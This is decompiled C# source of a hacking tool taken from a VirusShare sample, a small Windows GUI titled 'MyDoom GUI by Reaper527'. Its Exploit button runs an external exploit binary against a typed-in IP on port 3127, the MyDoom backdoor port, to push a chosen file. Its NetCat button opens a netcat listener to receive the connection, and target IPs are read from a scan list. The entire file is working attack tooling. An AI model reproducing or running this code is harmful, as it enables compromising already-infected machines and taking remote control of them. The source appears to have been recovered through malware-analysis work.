// Decompiled with JetBrains decompiler // Type: MyDoomGui.Form1 // Assembly: MyDoomGui, Version=1.0.1502.30493, Culture=neutral, PublicKeyToken=null // MVID: 6C6928A3-EE14-4DF7-9863-BE37DB5C6929 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.Mydoomer.g-991fd70524a1d3ec8a7d786e00f91705f1c0a88072319302353dd58f81cb5052.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Runtime.CompilerServices; using System.Windows.Forms; namespace MyDoomGui { public class Form1 : Form { [AccessedThroughProperty("Label3")] private Label _Label3; [AccessedThroughProperty("txtFilename")] private TextBox _txtFilename; [AccessedThroughProperty("btnDown")] private Button _btnDown; [AccessedThroughProperty("txtNetCat")] private TextBox _txtNetCat; [AccessedThroughProperty("Label2")] private Label _Label2; [AccessedThroughProperty("TxtIP")] private TextBox _TxtIP; [AccessedThroughProperty("Label1")] private Label _Label1; [AccessedThroughProperty("btnExploit")] private Button _btnExploit; [AccessedThroughProperty("BtnNetCat")] private Button _BtnNetCat; [AccessedThroughProperty("rtbInstruc")] private RichTextBox _rtbInstruc; [AccessedThroughProperty("Label5")] private Label _Label5; [AccessedThroughProperty("btnUp")] private Button _btnUp; private IContainer components; private string IPval; private string NetCatval; private string FileNameval; private int linenumber; [STAThread] public static void Main() => Application.Run((Form) new Form1()); public Form1() { this.Activated += new EventHandler(this.Form1_Activated); this.InitializeComponent(); } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } internal virtual TextBox TxtIP { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._TxtIP == null) ; this._TxtIP = value; if (this._TxtIP == null) ; } get => this._TxtIP; } internal virtual Label Label1 { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._Label1 == null) ; this._Label1 = value; if (this._Label1 == null) ; } get => this._Label1; } internal virtual Button BtnNetCat { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._BtnNetCat != null) this._BtnNetCat.Click -= new EventHandler(this.BtnNetCat_Click); this._BtnNetCat = value; if (this._BtnNetCat == null) return; this._BtnNetCat.Click += new EventHandler(this.BtnNetCat_Click); } get => this._BtnNetCat; } internal virtual Button btnExploit { get => this._btnExploit; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._btnExploit != null) this._btnExploit.Click -= new EventHandler(this.btnExploit_Click); this._btnExploit = value; if (this._btnExploit == null) return; this._btnExploit.Click += new EventHandler(this.btnExploit_Click); } } internal virtual Label Label2 { get => this._Label2; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._Label2 == null) ; this._Label2 = value; if (this._Label2 == null) ; } } internal virtual TextBox txtNetCat { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._txtNetCat == null) ; this._txtNetCat = value; if (this._txtNetCat == null) ; } get => this._txtNetCat; } internal virtual TextBox txtFilename { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._txtFilename == null) ; this._txtFilename = value; if (this._txtFilename == null) ; } get => this._txtFilename; } internal virtual Label Label3 { get => this._Label3; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._Label3 == null) ; this._Label3 = value; if (this._Label3 == null) ; } } internal virtual Label Label5 { get => this._Label5; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._Label5 == null) ; this._Label5 = value; if (this._Label5 == null) ; } } internal virtual RichTextBox rtbInstruc { get => this._rtbInstruc; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._rtbInstruc == null) ; this._rtbInstruc = value; if (this._rtbInstruc == null) ; } } internal virtual Button btnUp { get => this._btnUp; [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._btnUp != null) this._btnUp.Click -= new EventHandler(this.btnUp_Click); this._btnUp = value; if (this._btnUp == null) return; this._btnUp.Click += new EventHandler(this.btnUp_Click); } } internal virtual Button btnDown { [MethodImpl(MethodImplOptions.Synchronized)] set { if (this._btnDown != null) this._btnDown.Click -= new EventHandler(this.btnDown_Click); this._btnDown = value; if (this._btnDown == null) return; this._btnDown.Click += new EventHandler(this.btnDown_Click); } get => this._btnDown; } [DebuggerStepThrough] private void InitializeComponent() { this.TxtIP = new TextBox(); this.Label1 = new Label(); this.BtnNetCat = new Button(); this.btnExploit = new Button(); this.Label2 = new Label(); this.txtNetCat = new TextBox(); this.txtFilename = new TextBox(); this.Label3 = new Label(); this.Label5 = new Label(); this.rtbInstruc = new RichTextBox(); this.btnUp = new Button(); this.btnDown = new Button(); this.SuspendLayout(); TextBox txtIp1 = this.TxtIP; Point point1 = new Point(56, 16); Point point2 = point1; txtIp1.Location = point2; this.TxtIP.Name = "TxtIP"; TextBox txtIp2 = this.TxtIP; Size size1 = new Size(128, 20); Size size2 = size1; txtIp2.Size = size2; this.TxtIP.TabIndex = 0; this.TxtIP.Text = "Ip Here"; Label label1_1 = this.Label1; point1 = new Point(24, 16); Point point3 = point1; label1_1.Location = point3; this.Label1.Name = "Label1"; Label label1_2 = this.Label1; size1 = new Size(24, 16); Size size3 = size1; label1_2.Size = size3; this.Label1.TabIndex = 11; this.Label1.Text = "IP:"; this.Label1.TextAlign = ContentAlignment.MiddleRight; Button btnNetCat = this.BtnNetCat; point1 = new Point(200, 48); Point point4 = point1; btnNetCat.Location = point4; this.BtnNetCat.Name = "BtnNetCat"; this.BtnNetCat.TabIndex = 3; this.BtnNetCat.Text = "NetCat"; Button btnExploit = this.btnExploit; point1 = new Point(200, 16); Point point5 = point1; btnExploit.Location = point5; this.btnExploit.Name = "btnExploit"; this.btnExploit.TabIndex = 4; this.btnExploit.Text = "Exploit"; Label label2_1 = this.Label2; point1 = new Point(16, 48); Point point6 = point1; label2_1.Location = point6; this.Label2.Name = "Label2"; Label label2_2 = this.Label2; size1 = new Size(32, 16); Size size4 = size1; label2_2.Size = size4; this.Label2.TabIndex = 10; this.Label2.Text = "Port:"; this.Label2.TextAlign = ContentAlignment.MiddleRight; TextBox txtNetCat1 = this.txtNetCat; point1 = new Point(56, 48); Point point7 = point1; txtNetCat1.Location = point7; this.txtNetCat.Name = "txtNetCat"; TextBox txtNetCat2 = this.txtNetCat; size1 = new Size(128, 20); Size size5 = size1; txtNetCat2.Size = size5; this.txtNetCat.TabIndex = 1; this.txtNetCat.Text = "NetCat Port"; TextBox txtFilename1 = this.txtFilename; point1 = new Point(56, 80); Point point8 = point1; txtFilename1.Location = point8; this.txtFilename.Name = "txtFilename"; TextBox txtFilename2 = this.txtFilename; size1 = new Size(128, 20); Size size6 = size1; txtFilename2.Size = size6; this.txtFilename.TabIndex = 2; this.txtFilename.Text = "File Name"; Label label3_1 = this.Label3; point1 = new Point(8, 80); Point point9 = point1; label3_1.Location = point9; this.Label3.Name = "Label3"; Label label3_2 = this.Label3; size1 = new Size(40, 16); Size size7 = size1; label3_2.Size = size7; this.Label3.TabIndex = 9; this.Label3.Text = "Name:"; this.Label3.TextAlign = ContentAlignment.MiddleRight; Label label5 = this.Label5; point1 = new Point(104, 112); Point point10 = point1; label5.Location = point10; this.Label5.Name = "Label5"; this.Label5.TabIndex = 8; this.Label5.Text = "Instructions"; this.Label5.TextAlign = ContentAlignment.MiddleCenter; RichTextBox rtbInstruc1 = this.rtbInstruc; point1 = new Point(24, 152); Point point11 = point1; rtbInstruc1.Location = point11; this.rtbInstruc.Name = "rtbInstruc"; RichTextBox rtbInstruc2 = this.rtbInstruc; size1 = new Size(272, 152); Size size8 = size1; rtbInstruc2.Size = size8; this.rtbInstruc.TabIndex = 7; this.rtbInstruc.Text = ""; Button btnUp1 = this.btnUp; point1 = new Point(216, 80); Point point12 = point1; btnUp1.Location = point12; this.btnUp.Name = "btnUp"; Button btnUp2 = this.btnUp; size1 = new Size(16, 23); Size size9 = size1; btnUp2.Size = size9; this.btnUp.TabIndex = 6; this.btnUp.Text = "N"; Button btnDown1 = this.btnDown; point1 = new Point(248, 80); Point point13 = point1; btnDown1.Location = point13; this.btnDown.Name = "btnDown"; Button btnDown2 = this.btnDown; size1 = new Size(16, 23); Size size10 = size1; btnDown2.Size = size10; this.btnDown.TabIndex = 5; this.btnDown.Text = "L"; size1 = new Size(5, 13); this.AutoScaleBaseSize = size1; size1 = new Size(320, 342); this.ClientSize = size1; this.Controls.Add((Control) this.btnDown); this.Controls.Add((Control) this.btnUp); this.Controls.Add((Control) this.rtbInstruc); this.Controls.Add((Control) this.Label5); this.Controls.Add((Control) this.Label3); this.Controls.Add((Control) this.txtFilename); this.Controls.Add((Control) this.Label2); this.Controls.Add((Control) this.txtNetCat); this.Controls.Add((Control) this.btnExploit); this.Controls.Add((Control) this.BtnNetCat); this.Controls.Add((Control) this.Label1); this.Controls.Add((Control) this.TxtIP); this.Name = nameof (Form1); this.Text = "MyDoom GUI by Reaper527"; this.ResumeLayout(false); } private void BtnNetCat_Click(object sender, EventArgs e) { this.NetCatval = this.txtNetCat.Text; Interaction.Shell("nc.exe -l -vv -p " + this.NetCatval, AppWinStyle.NormalFocus); } private void btnExploit_Click(object sender, EventArgs e) { this.IPval = this.TxtIP.Text; this.NetCatval = this.txtNetCat.Text; this.FileNameval = this.txtFilename.Text; Interaction.Shell("mykralor.exe " + this.IPval + " 3127" + " " + this.FileNameval, AppWinStyle.NormalFocus); } private void Form1_Activated(object sender, EventArgs e) { StreamReader streamReader = new StreamReader("inst.atb"); this.rtbInstruc.Text = streamReader.ReadToEnd(); streamReader.Close(); } private void btnUp_Click(object sender, EventArgs e) => this.TxtIP.Text = FileSystem.LineInput(1); private void btnDown_Click(object sender, EventArgs e) { if (StringType.StrCmp(FileSystem.Dir("scan.txt"), "", false) == 0) return; FileSystem.FileOpen(1, "scan.txt", OpenMode.Input); } } }